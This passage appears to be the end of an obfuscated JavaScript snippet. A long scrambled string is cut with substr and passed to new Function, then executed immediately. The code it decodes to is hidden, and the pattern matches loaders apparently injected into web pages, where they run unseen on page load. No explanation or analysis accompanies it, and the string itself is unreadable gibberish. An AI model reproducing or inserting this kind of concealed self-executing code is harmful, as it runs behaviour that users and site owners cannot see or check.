Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();